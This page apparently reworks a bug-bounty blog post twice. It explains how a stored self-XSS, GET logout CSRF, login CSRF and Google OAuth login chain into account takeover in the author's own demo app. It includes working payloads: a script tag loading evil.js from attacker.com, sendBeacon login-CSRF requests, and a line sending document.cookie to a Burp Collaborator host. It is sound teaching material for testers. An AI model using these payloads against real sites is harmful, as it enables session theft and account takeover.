Skip to content
XSS Write-up Intermediate

Self XSS to Account Takeover

The author demonstrates a chain of low-severity issues in a self-built web application: a stored self-XSS, login/logout CSRF, and an OAuth login flow. By combining these, an attacker could log a victim out, log into their own account to trigger the stored XSS, then log the victim back in via OAuth and steal their cookies.

Ch3ckM4te Follow

Published on medium.com

Hello everyone, this is my first blog. I came across this topic while searching ways to escalate one of my finding for self XSS in a bug bounty program.

Ch3ckM4te, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

This is a demonstration of chaining several low-severity issues into an account takeover. The author had a stored self XSS finding in a bug bounty program, but after reading about escalation techniques found the program to be secure from the other low-level bugs needed for escalation. Rather than stop there, the author built a small web application to reproduce the chain end to end.

Self XSS to Account Takeover From the original on medium.com

The demo application has a login page with two methods: login with email ID and password, or login with Google (oAuth). Logging in with the first method fetches some default values to display in name, description and similar fields. Logging in with the second method fetches account details from the Google account and displays them on the dashboard. The dashboard also has a comment feature, created specifically to demonstrate stored self XSS.

The chain combines a stored self XSS, login and logout CSRF, and the presence of both traditional login and oAuth login.

Setup

The environment is a simple web application written for the demonstration. Points the author notes about it:

  1. Traditional email and password login is not backed by a full SQL server. The file authLocal.php contains hard-coded credential values.
  2. To replicate the setup, use an organisation's email address rather than a personal one, because Google does not allow test users to perform oAuth authentication (Sign in with Google) without verification of the web application. The author used a college email address linked with Google.

The logout functionality is a GET request to logout.php that destroys cookies. The oAuth redirect_uri in the payload points to g-callback.php under a GoogleLogin path. The author used Burp Collaborator as the receiving server for stolen cookies.

Finding it

The starting point was a stored self XSS in the comment functionality of the dashboard. Self XSS on its own requires the victim to paste the payload, so it is normally treated as out of scope, N/A, P5 or informational. The author's goal was to make the payload execute without the victim's cooperation by first getting the victim's browser into the attacker's authenticated session, where the stored payload sits, and then moving the browser back into the victim's own session while the attacker's script is still running.

The two primitives that make this possible are the logout CSRF (a plain GET request that ends the session) and the login CSRF (a POST to the local login endpoint, and a request to the oAuth authorisation endpoint).

Exploitation

Step 1: host the external script

Create a malicious JavaScript file on the attacker's server, for example evil.js. Its contents are covered in Step 4.

Step 2: store the payload in the attacker's account

The comment functionality of the dashboard is vulnerable to stored self XSS. Embed the external script with:

HTML
<script src=http://attacker.com/evil.js></script>

This loads the external JavaScript file from the attacker's server, and the browser starts executing it.

Step 3: the page that moves the victim into the attacker's session

The page the victim visits performs three actions.

(i) Log the victim out with logout CSRF

Looking at the logout request shows it is simply a GET to logout.php that destroys cookies. An img tag is enough to hit it:

HTML
<img src=http://localhost/app/logout.php>

The browser tries to fetch the image from that source, which makes a GET request to the URL, and by the application's logic that logs the user out.

(ii) Log in to the attacker's account with email and password

A short JavaScript snippet sends a POST request with the attacker's credentials, after which the attacker's session is active:

JavaScript
navigator.sendBeacon(“http://localhost/GoogleLogin/authLocal.php", new Blob([“username=admin&[redacted] { type: “application/x-www-form-urlencoded” }))

navigator.sendBeacon() sends a POST request with a specific content type. It takes the URL to visit along with the data and content type. The author notes that an invisible HTML form submitted with JavaScript would also work; sendBeacon is simply a simpler and more powerful method.

(iii) Execute the stored XSS from the attacker's account

Now that the browser is logged in as the attacker, redirect the victim to the page that renders the stored XSS, generally the dashboard or the edit profile page. Once the JavaScript executes, it loads the external JavaScript file and starts its execution.

Step 4: what evil.js does

(i) Log the attacker out

Hit the logout URL with an img tag, as before:

HTML
<img src=http://[redacted]/app/logout.php>

This tries to fetch an image from the source URL, making a GET request that logs the user out.

(ii) Log in to the victim's account through oAuth

This is the critical step. Analyse each request from the initiation of the oAuth authentication process until access to the application is granted. Following each request reveals a particular request, generally looking like /?auth=<some_code>, that is responsible for authenticating the user to the application. The code for logging in to the victim's account with Google:

JavaScript
navigator.sendBeacon(“https://accounts.google.com/o/oauth2/auth?response_type=code&access_type=online&client_id=3195217987-[redacted].apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%2FGoogleLogin%2Fg-callback.php&state&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&approval_prompt=auto","");

navigator.sendBeacon makes a POST request to the specified URL with no POST data. The scenario assumes the victim is already logged in to Gmail, the oAuth provider, which the author notes is usually true in real scenarios.

(iii) Steal the victim's cookies

A JavaScript payload takes the victim's cookie and sends it to the attacker's server, in this case a Burp Collaborator instance:

JavaScript
var link=”http://random.burpcollaborator.net/VictimCookies="+document.cookie;
navigator.sendBeacon(link,””);

This builds a Collaborator URL containing the cookies of the logged-in user and sends it to the server with navigator.sendBeacon. With the victim's cookies in hand, the attacker can use them to obtain the victim's session.

When cookies are protected

Websites generally set the HttpOnly and Secure flags on session cookies, in which case document.cookie will not expose them. In that case, JavaScript can instead perform a malicious action such as changing the email address or adding the attacker's mobile number, which could later be used for account takeover through the password reset functionality. The author links a similar blog post in the references for this.

Root cause

The chain relies on three weaknesses in the application's design:

  1. The comment feature stores user-supplied HTML and JavaScript and renders it to the same user, giving stored self XSS. Because the payload is stored server-side, it executes whenever the account that owns it loads the page, including when that account is reached through a login CSRF.
  2. The logout endpoint is a GET request with no anti-CSRF protection, so any page can end the current session with an img tag.
  3. The local login endpoint accepts a cross-site POST, and the oAuth authorisation request can be issued from the attacker's script, so an attacker can put the victim's browser into the attacker's session and later into the victim's own session.

The oAuth flow is what makes the final step work: the authorisation request is issued from the victim's browser, which is already authenticated to Google, and the report identifies a request of the form /?auth=<some_code> as responsible for authenticating the user to the application. In the demonstrated chain, the attacker first forces the victim's browser into the attacker's account, where the stored payload lives, and then forces it back into the victim's account while the attacker's script is still executing.

Impact

An attacker who can get a victim to visit a page can, under the assumptions above, take over the victim's session: the victim's cookies are sent to the attacker's server, or, if cookies are protected, the attacker may instead perform actions such as changing the email address or adding a mobile number, which could later be used for account takeover through password reset. The attack requires the victim to be logged in to the oAuth provider, which the author notes is usually true in real scenarios. The author is explicit that the demonstrated case has quite a lot of assumptions and needs to be modified as per situation; it is a demonstration of what was learned while researching ways to escalate stored self XSS.

Fix

The author does not describe changes made to the application. The report does not describe fixes. The weaknesses it demonstrates are stored self XSS in the comment feature, a logout endpoint reachable by GET, and login endpoints that accept cross-site requests. The report notes that when HttpOnly/Secure are set, JavaScript can instead perform actions such as changing the email address or adding a mobile number.

Variants to test

  1. Logout CSRF via GET. Look for a logout endpoint that accepts a GET request and destroys the session. A positive result is an img tag or a direct navigation that ends the session without any token.
  2. Login CSRF on a local login form. Check whether the email and password login endpoint accepts a cross-site POST, for example through navigator.sendBeacon or an auto-submitted form. A positive result is the browser ending up in the attacker's account after visiting the attacker's page.
  3. oAuth authorisation request without a validated state. Follow the oAuth flow and look for the request that authenticates the user, generally of the form /?auth=<some_code>. If the authorisation request can be issued cross-site and the callback accepts the resulting code without binding it to the initiating session, the victim's browser can be logged in to the victim's own account by the attacker's script.
  4. Stored self XSS in profile or comment fields. Check whether user-supplied content is stored and rendered as HTML to the same user. A positive result is a payload that executes when the owning account loads the page, which is what allows the payload to run after a login CSRF.
  5. Cookie theft versus action-based takeover. If session cookies carry HttpOnly, test whether the script can instead change the email address or add a mobile number. A positive result is a change that enables a later password reset to the attacker's address or number.

References

  1. Mathias Karlsson's Demo in Security Fest 2017
  2. Geekboy's AirBnb Article
  3. Self-XSS to Good-XSS (Uber Bug Bounty)
  4. Various other Medium articles

Full source code and the video POC are linked from the original post.

Or watch on YouTube
From the original on medium.com
Or watch on YouTube

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a small bug in a bug bounty program: a place where the site would store some JavaScript code and run it later, but only for the person who typed it in. This is called self XSS, and on its own it is almost worthless, because the attacker has to trick the victim into pasting code into their own browser. Bug bounty programs usually mark this kind of finding as out of scope, N/A, P5 or informational, which means "we know, but it is not a real attack".

The researcher read about ways to turn a self XSS into something serious, then checked the real program and found it was missing the other small bugs needed to make the chain work. So instead of giving up, the researcher built a small web application from scratch that contains all the pieces, and demonstrated the full attack end to end. The result: a stored self XSS combined with login and logout CSRF, using the site's Google (oAuth) login, ends in stealing the victim's cookies in the demo.

Self XSS to Account Takeover From the original on medium.com

The picture above is the title card of the write-up: "Self XSS to Account Takeover".

Before going further, three ideas need explaining, because everything below depends on them.

  • A cookie is a small piece of text that a website asks your browser to keep and to send back on every request. It is like the wristband you get at a festival: the staff do not check your ID at every door, they just look at the wristband. If someone copies your wristband, they can walk in as you. Stealing a session cookie is therefore the same as stealing a logged-in session.
  • CSRF (Cross-Site Request Forgery) means making your browser send a request to a site you are logged in to, without you wanting it. Your browser automatically attaches your cookies to requests, so a page on another site can trigger an action on the target site and the target site believes it was you. The everyday comparison: a friend hands you a signed form and asks you to post it; the office sees your signature and processes it, even though you never read what it said.
  • oAuth is the "Log in with Google" button. Instead of giving the site your Google password, you are sent to Google, Google confirms who you are, and sends the site back a short-lived code that the site exchanges for your details. It is like a cloakroom ticket: you show the ticket, you get the coat, and you never hand over the keys to your house.

The pieces needed

The researcher lists three requirements:

  1. A stored self XSS.
  2. Login and logout CSRF.
  3. A site that offers both a traditional login (email and password) and an oAuth login.

A stored XSS means the malicious code is saved on the server, not just reflected back once. A self XSS means the code only runs in the browser of the account that saved it. That sounds useless, but it becomes powerful if the attacker can make the victim's browser be logged in as the attacker for a moment: then the victim's browser loads the attacker's saved code, and that code keeps running even after the browser is switched back to the victim's own account.

The demo environment

The researcher built a simple web application with a login page offering two methods:

  1. Login with email ID and password.
  2. Login with Google.

If you log in with the first method, the app fills in some default values for fields such as name and description. If you log in with the second method, it fetches your details from your Google account and shows them on the dashboard. The dashboard also has a comment feature, added on purpose so that stored self XSS can be demonstrated.

Two notes the researcher makes about the setup:

  1. The email and password login is not backed by a real database. The file authLocal.php simply contains hard-coded credential values.
  2. If you want to replicate the setup, use an organisation's email address, not a personal one. Google does not let test users perform oAuth authentication (Sign in with Google) unless the web application has been verified, and the researcher used a college email address linked with Google.

Other details of the environment: the logout is a GET request to logout.php that destroys cookies, the oAuth redirect_uri in the payload points to g-callback.php under a GoogleLogin path, and stolen cookies are received with Burp Collaborator, a service that gives you a unique address and records anything sent to it.

The attack, step by step

Here is the plan in the researcher's own outline:

  1. Create a malicious script on the attacker's server.
  2. Embed it into the attacker's account by exploiting stored self XSS.
  3. Create a page that:
    1. Logs the victim out using logout CSRF.
    2. Logs in to the attacker's account using the email and password login.
    3. Executes the stored XSS from the attacker's account, which in turn loads the external script from the attacker's server.
  4. The external script then:
    1. Logs the attacker out.
    2. Logs in to the victim's account using oAuth.
    3. Steals the victim's cookies and sends them to the attacker's server.

The trick is the order. The victim's browser is first pushed into the attacker's account so that the attacker's stored payload runs, and then pushed back into the victim's own account while that payload is still executing. The payload now sits inside the victim's session and can read the victim's cookies.

Step 1: host the external script

Create a malicious JavaScript file on the attacker's server, for example evil.js. What goes inside it is covered in Step 4.

Step 2: store the payload in the attacker's account

The comment feature of the dashboard is vulnerable to stored self XSS. The researcher embeds the external script with:

HTML
<script src=http://attacker.com/evil.js></script>

Line by line:

  • <script starts an HTML tag that tells the browser "this is code, run it".
  • src=http://attacker.com/evil.js tells the browser where to fetch the code from. Instead of writing the code inline, the browser downloads the file from the attacker's server and runs it.
  • ></script> closes the tag.

This code loads the external JavaScript file from the attacker's server, and the browser starts executing it. Because the comment is stored, the snippet is saved on the server and will run every time the account that owns it loads the page.

Step 3: the page that moves the victim into the attacker's session

The page the victim visits performs three actions.

(i) Log the victim out with logout CSRF

Looking at the logout request shows it is simply a GET to logout.php that destroys cookies. A GET is the same kind of request your browser makes when it loads an image or a page. An img tag is enough to trigger it:

HTML
<img src=http://localhost/app/logout.php>

Line by line:

  • <img starts an image tag.
  • src=http://localhost/app/logout.php is the address the browser will fetch the "image" from. The browser does not know it is not an image; it simply sends a GET request to that address.
  • > closes the tag.

The browser tries to fetch the image from that source, which makes a GET request to the URL, and by the application's logic that logs the user out. The attacker never sees the response, and does not need to: the side effect on the server is the point.

(ii) Log in to the attacker's account with email and password

A short JavaScript snippet sends a POST request with the attacker's credentials, after which the attacker's session is active:

JavaScript
navigator.sendBeacon(“http://localhost/GoogleLogin/authLocal.php", new Blob([“username=admin&[redacted] { type: “application/x-www-form-urlencoded” }))

Line by line:

  • navigator.sendBeacon( is a browser function that sends a request in the background, without waiting for a response and without disturbing the page. It is designed for analytics, but it can send any small piece of data to any address.
  • “http://localhost/GoogleLogin/authLocal.php" is the address of the local login endpoint. localhost means the victim's own machine in this demo, because the demo app runs locally.
  • new Blob([...], { type: ... }) wraps the data to send. The data is `“username=admin&[redacted] the attacker's credentials in the same format a normal login form would send.
  • { type: “application/x-www-form-urlencoded” } tells the server the data is formatted like a normal HTML form submission, so the login endpoint accepts it.
  • The closing ) ends the call.

navigator.sendBeacon() sends a POST request with a specific content type. It takes the URL to visit along with the data and content type. The researcher notes that an invisible HTML form submitted with JavaScript would also work; sendBeacon is simply a simpler and more powerful method.

(iii) Execute the stored XSS from the attacker's account

Now that the browser is logged in as the attacker, redirect the victim to the page that renders the stored XSS, generally the dashboard or the edit profile page. Once the JavaScript executes, it loads the external JavaScript file and starts its execution.

Step 4: what evil.js does

(i) Log the attacker out

Hit the logout URL with an img tag, as before:

HTML
<img src=http://[redacted]/app/logout.php>

Line by line:

  • <img starts an image tag.
  • src=http://[redacted]/app/logout.php is the logout address. [redacted] is another way of writing localhost, the victim's own machine.
  • > closes the tag.

This tries to fetch an image from the source URL, making a GET request that logs the user out.

(ii) Log in to the victim's account through oAuth

This is the critical step. The researcher advises analysing each request from the start of the oAuth authentication process until access to the application is granted. Following each request reveals a particular request, generally looking like /?auth=<some_code>, that is responsible for authenticating the user to the application. The code for logging in to the victim's account with Google:

JavaScript
navigator.sendBeacon(“https://accounts.google.com/o/oauth2/auth?response_type=code&access_type=online&client_id=3195217987-[redacted].apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%2FGoogleLogin%2Fg-callback.php&state&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&approval_prompt=auto","");

Line by line:

  • navigator.sendBeacon( sends the request in the background, as before.
  • “https://accounts.google.com/o/oauth2/auth? is Google's oAuth authorisation address. Everything after the ? is a list of settings, separated by &.
  • response_type=code asks Google to return an authorisation code rather than a token directly.
  • access_type=online asks for online access.
  • client_id=3195217987-[redacted].apps.googleusercontent.com identifies the application to Google. It is public by design, like a shop's name on a sign.
  • redirect_uri=http%3A%2F%2Flocalhost%2FGoogleLogin%2Fg-callback.php is where Google should send the browser afterwards. The %3A and %2F are encoded characters: %3A is : and %2F is /, so this decodes to http://localhost/GoogleLogin/g-callback.php.
  • state is present but empty. The state value is normally a random string the application checks when the browser comes back, to make sure the login was started by the same browser. An empty state means there is nothing to check.
  • scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email lists what the application wants to access: the user's Google profile and email address. %20 is an encoded space.
  • approval_prompt=auto tells Google not to ask the user again if permission was already granted.
  • ","" closes the URL and passes an empty body, because this request carries no data.

navigator.sendBeacon makes a POST request to the specified URL with no POST data. The scenario assumes the victim is already logged in to Gmail, the oAuth provider, which the researcher notes is usually true in real scenarios. The report notes the scenario assumes the victim is already logged in to Gmail, the oAuth provider, which is usually true in real scenarios.

(iii) Steal the victim's cookies

A JavaScript payload takes the victim's cookie and sends it to the attacker's server, in this case a Burp Collaborator instance:

JavaScript
var link=”http://random.burpcollaborator.net/VictimCookies="+document.cookie;
navigator.sendBeacon(link,””);

Line by line:

  • var link= creates a variable named link.
  • ”http://random.burpcollaborator.net/VictimCookies=" is the start of the address, ending with VictimCookies=. The cookie value will be glued onto the end of it.
  • +document.cookie reads the cookies the page is allowed to see and appends them to the address. document.cookie is the browser's way of exposing cookies to JavaScript, and it only exposes cookies that are not marked HttpOnly.
  • ; ends the statement.
  • navigator.sendBeacon(link,””); sends a request to that address with an empty body. The cookies travel inside the URL itself, which is why the Collaborator records them.

This builds a Collaborator URL containing the cookies of the logged-in user and sends it to the server with navigator.sendBeacon. With the victim's cookies in hand, the attacker can use them to obtain the victim's session.

When cookies are protected

Websites generally set the HttpOnly and Secure flags on session cookies. HttpOnly means JavaScript cannot read the cookie at all, so document.cookie will not expose it. Secure means the cookie is only sent over HTTPS. In that case, JavaScript can instead perform a malicious action such as changing the email address or adding the attacker's mobile number, which could later be used for account takeover through the password reset functionality. The researcher links a similar blog post in the references for this.

Why it works

The chain relies on three weaknesses in the application's design:

  1. The comment feature stores user-supplied HTML and JavaScript and renders it to the same user, giving stored self XSS. Because the payload is stored server-side, it executes whenever the account that owns it loads the page, including when that account is reached through a login CSRF.
  2. The logout endpoint is a GET request with no anti-CSRF protection, so any page can end the current session with an img tag.
  3. The local login endpoint accepts a cross-site POST, and the oAuth authorisation request can be issued from the attacker's script, so an attacker can put the victim's browser into the attacker's session and later into the victim's own session.

The oAuth flow is what makes the final step work: the authorisation request is issued from the victim's browser, which is already authenticated to Google, and the report identifies a request of the form /?auth=<some_code> as responsible for authenticating the user to the application. In the demonstrated chain, the attacker first forces the victim's browser into the attacker's account, where the stored payload lives, and then forces it back into the victim's account while the attacker's script is still executing.

What the attacker gets

An attacker who can get a victim to visit a page can, under the assumptions above, take over the victim's session: the victim's cookies are sent to the attacker's server, or, if cookies are protected, the attacker may instead perform actions such as changing the email address or adding a mobile number, which could later be used for account takeover through password reset. The attack requires the victim to be logged in to the oAuth provider, which the researcher notes is usually true in real scenarios. The researcher is explicit that the demonstrated case has quite a lot of assumptions and needs to be modified as per situation; it is a demonstration of what was learned while researching ways to escalate stored self XSS.

How to stop it

The researcher does not describe changes made to the application. The report does not describe fixes. The weaknesses it demonstrates are stored self XSS in the comment feature, a logout endpoint reachable by GET, and login endpoints that accept cross-site requests. The report notes that when HttpOnly/Secure are set, JavaScript can instead perform actions such as changing the email address or adding a mobile number.

Things to look for in other sites

  1. Logout CSRF via GET. Look for a logout endpoint that accepts a GET request and destroys the session. A positive result is an img tag or a direct navigation that ends the session without any token.
  2. Login CSRF on a local login form. Check whether the email and password login endpoint accepts a cross-site POST, for example through navigator.sendBeacon or an auto-submitted form. A positive result is the browser ending up in the attacker's account after visiting the attacker's page.
  3. oAuth authorisation request without a validated state. Follow the oAuth flow and look for the request that authenticates the user, generally of the form /?auth=<some_code>. If the authorisation request can be issued cross-site and the callback accepts the resulting code without binding it to the initiating session, the victim's browser can be logged in to the victim's own account by the attacker's script.
  4. Stored self XSS in profile or comment fields. Check whether user-supplied content is stored and rendered as HTML to the same user. A positive result is a payload that executes when the owning account loads the page, which is what allows the payload to run after a login CSRF.
  5. Cookie theft versus action-based takeover. If session cookies carry HttpOnly, test whether the script can instead change the email address or add a mobile number. A positive result is a change that enables a later password reset to the attacker's address or number.

Further reading

  1. Mathias Karlsson's Demo in Security Fest 2017
  2. Geekboy's AirBnb Article
  3. Self-XSS to Good-XSS (Uber Bug Bounty)
  4. Various other Medium articles

Full source code and the video POC are linked from the original post.

Or watch on YouTube
From the original on medium.com
Or watch on YouTube

Glossary

  • Account takeover: when an attacker gains control of someone else's account, usually by obtaining their session or changing their credentials.
  • API: a defined set of addresses and rules a program uses to talk to another program, like a service counter where you ask for something in a fixed format.
  • Burp Collaborator: a service that gives you a unique address and records any request sent to it, used to confirm that a server or browser made a request you caused.
  • Client ID: a public identifier an application uses to identify itself to an oAuth provider, like a shop's name on a sign.
  • Cookie: a small piece of text a website asks the browser to store and send back on every request, often used to remember who is logged in.
  • CSRF (Cross-Site Request Forgery): making a logged-in user's browser send a request to a site without the user intending it, because the browser attaches cookies automatically.
  • GET request: a request that asks a server for something, such as a page or an image; it should not change anything on the server, but sometimes it does.
  • HttpOnly: a cookie flag that stops JavaScript from reading the cookie.
  • localStorage: a browser storage area for a website's data that JavaScript can read; not used in this chain.
  • localhost / [redacted]: names for the computer you are using, used when a server runs on your own machine.
  • oAuth: a way to log in to a site using another provider, such as Google, without giving the site your password; the provider hands back a short-lived code.
  • P5 / informational / N/A: labels bug bounty programs use for findings they consider too low impact to reward.
  • POST request: a request that sends data to a server, typically used for logins and form submissions.
  • Redirect URI: the address an oAuth provider sends the browser back to after the user approves.
  • Scope: in oAuth, the list of things the application is asking permission to access, such as profile and email.
  • Secure flag: a cookie flag that makes the browser send the cookie only over HTTPS.
  • Self XSS: a cross-site scripting bug where the malicious code only runs for the person who entered it, so the victim has to be tricked into pasting it themselves.
  • Session: the state of being logged in, usually represented by a cookie the server recognises.
  • SQL server: a database server that stores data such as user accounts; the demo does not use one.
  • State parameter: a random value an application sends with an oAuth request and checks when the browser returns, to confirm the login was started by the same browser.
  • Stored XSS: cross-site scripting where the malicious code is saved on the server and runs whenever the affected page is loaded.
  • XSS (Cross-Site Scripting): a bug where an attacker's JavaScript runs in another user's browser inside a trusted website, letting it act as that user.
  • navigator.sendBeacon(): a browser function that sends a small request in the background without waiting for a response.
  • document.cookie: the browser property that lets JavaScript read and write cookies that are not HttpOnly.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.